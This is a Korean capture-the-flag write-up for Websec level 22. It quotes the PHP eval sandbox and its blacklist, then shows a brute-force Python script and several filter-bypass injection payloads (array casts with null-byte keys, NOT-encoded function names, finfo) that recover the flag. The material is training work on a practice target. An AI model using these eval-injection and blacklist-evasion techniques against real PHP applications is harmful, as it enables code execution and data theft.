Websec - Level 22 (풀이봄)
Websec 22
1
2
3
4
5
6
7
8
9
10
<?php
ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL ^ E_DEPRECATED);
if (isset ($_GET['code']) && is_string ($_GET['code'])) {
$code = substr ($_GET['code'], 0, 21);
} else {
$code = "'I hate PHP'";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class A {
public $pub;
protected $pro ;
private $pri;
function __construct($pub, $pro, $pri) {
$this->pub = $pub;
$this->pro = $pro;
$this->pri = $pri;
}
}
include 'file_containing_the_flag_parts.php';
$a = new A($f1, $f2, $f3);
unset($f1);
unset($f2);
unset($f3);
$funcs_internal = get_defined_functions()['internal'];
/* lets allow some secure funcs here */
unset ($funcs_internal[array_search('strlen', $funcs_internal)]);
unset ($funcs_internal[array_search('print', $funcs_internal)]);
unset ($funcs_internal[array_search('strcmp', $funcs_internal)]);
unset ($funcs_internal[array_search('strncmp', $funcs_internal)]);
$funcs_extra = array ('eval', 'include', 'require', 'function');
$funny_chars = array ('\.', '\+', '-', '"', ';', '`', '\[', '\]');
$variables = array ('_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_FILES', '_ENV', 'HTTP_ENV_VARS', '_SESSION', 'GLOBALS');
$blacklist = array_merge($funcs_internal, $funcs_extra, $funny_chars, $variables);
$insecure = false;
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
$insecure = true;
break;
}
}
if ($insecure) {
echo 'Insecure code detected!';
} else {
eval ("echo $code;");
}
?>
1
2
<label for="code">Code:</label>
<input type="text" class="form-control" id="code" name="code" value="<?php echo htmlspecialchars ($code);?>" required maxlength=25>
Solution 1
- php curly braces in array since php 7
- lindevs.com/array-and-string-offset-access-with-curly-braces-has-been-removed-in-php-8-0/
- stackoverflow.com/questions/8092248/php-curly-braces-in-array-notation
- php 7.4부터는 사용하지 않고 php 8부터는 없어졌다고 함.
- stackoverflow.com/questions/8092248/php-curly-braces-in-array-notation
- php 중괄호를 이용한 변수 해석
- study-zone.tistory.com/42
- 문자열 및 echo 출력
- study-zone.tistory.com/41?category=232432
- echo 에서
" "
안에서는 파싱을 하지만' '
안에서는 특수문자, 변수 값을 파싱하지 않아 그대로 출력한다. - echo 에서
1
2
3
4
5
6
7
8
9
10
11
12
import requests
url='https://websec.fr/level22/index.php'
headers={'Content-Type':'application/x-www-form-urlencoded'}
cookies={'session':'[redacted]'}
for i in range(0,10000):
payload={'code':'$blacklist{'+str(i)+'}'}
res=requests.get(url, headers=headers, cookies=cookies, params=payload)
if "var_dump" in res.text:
print(i) # 582
break
$blacklist{582}에 var_dump 값이 있으므로 함수처럼 사용해서 $blacklist{582}($a)
라 입력하면 echo var_dump($a)
가 되므로 객체 $a의 값에 대한 정보를 출력해준다.
1
2
3
4
5
6
7
8
object(A)#1 (3) {
["pub"]=>
string(17) "WEBSEC{But_I_was_"
["pro":protected]=>
string(18) "told_that_OOP_was_"
["pri":"A":private]=>
string(22) "flawless_and_stuff_:<}"
}
- Flag :
WEBSEC{But_I_was_told_that_OOP_was_flawless_and_stuff_:<}
풀이를 보니 다른 방법도 있다…!
Solution 2
- 처음에 주어진 객체 변수
$a
를 출력하고자 하였으나 아래와 같은 에러가 떴다. Recoverable fatal error: Object of class A could not be converted to string in /index.php(92) : eval()'d code on line 1
클래스 A의 객체를 문자열로 변환할 수 없다는 뜻이다. 즉, 문자열로 출력할 수 없다는 것.
-
는 필터링에 걸리므로 접근하는 것은 불가능하다. 따라서 배열로 형 변환 후 중괄호를 이용해 출력할 수 있다.
따라서 입력을 ((array)$a){'pub'}
을 해주면 값이 출력된다.
- 하지만 여기서 다시 막혔다.
private, protected
변수를 출력하고자 하니 에러가 뜬다. Notice: Undefined index: pri in /index.php(92) : eval()'d code on line 1
- 찾아보니 스택오버플로우에서 게시글을 하나 보았다.
- stackoverflow.com/questions/4345554/convert-a-php-object-to-an-associative-array
더 자세한 내용은 댓글에 있는 FAST PHP Object To Array Conversion
이라는 글을 보았다.
- FAST PHP Object To Array Conversion
- ocramius.github.io/blog/fast-php-object-to-array-conversion/ –> BEST EXPLAIN
요약하면 형 변환 시 깊게 형변환을 하는 것이 아니므로 public이 아닌 값에 접근하려면 널 바이트를 사용해야 한다.
1
2
3
4
5
6
7
8
9
10
class Person {
public $Name = 'test1';
protected $Age = '2';
private $Income = '3';
}
$b = new Person();
var_export((array)$b);
1
2
3
4
5
array (
'Name' => 'test1',
'' . "\0" . '*' . "\0" . 'Age' => '2',
'' . "\0" . 'Person' . "\0" . 'Income' => '3',
)
객체를 배열로 형변환 한 후 var_export 함수를 통해 살펴보면 위와 같은 결과가 나오게 되는 것이다.
그래서 pro 변수에 접근하고자 ((array)$a){'\0*\0pro'}
를 입력하니 21글자가 최대여서 짤려서 값이 ((array)$a){'\0*\0pro
까지만 들어간다.
- 보니까 널바이트
\0
가 두 글자로 들어가는 듯하다. 따라서 url에 code 값에 널바이트를 인코딩하여 넣어주면 된다. ?code=((array)$a){'%00*%00pro'}
pri 값도 위에서 출력된 값을 이용해서 넣어주면 ((array)$a){'%00A%00pri'}
가 된다.
따라서 변수들을 모두 출력해줄 수 있다.
Solution 3
PHP에서는 함수가 문자열 형태로 되어 있어도 호출할 수 있다고 한다.
예를 들어, system('ls');
를 호출하고자 하면, "system"('ls');
라고 해도 실행이 된다는 것이다.
이 점을 이용해서 풀 수 있다고 한다.
var_dump
함수를 호출하여 $a
의 값을 읽어오는 코드를 짜면 된다.
하지만 문자열 그대로 입력하면 필터링에 걸리므로 이를 우회할 방법이 필요하다. 여기서 NOT 연산자를 이용한다.
NOT 연산자를 이용하면 ~~'a' == 'a'
이므로 이를 이용하여 우회할 수 있다.
문제에서 code 값을 GET으로도 받으므로 urlencode를 하여 넣어주면 된다.
따라서 ~var_dump
의 값을 urlencode를 한 뒤 그 값에 NOT 연산을 해주면 var_dump를 호출하게 되는 것이다.
- 페이로드는 아래와 같이 된다고 한다.
(~'%89%9E%8D%A0%9B%8A%92%8F')($a)
Solution 4
php finfo 클래스를 이용해 풀 수 있다.
Payload : new finfo(0,'/')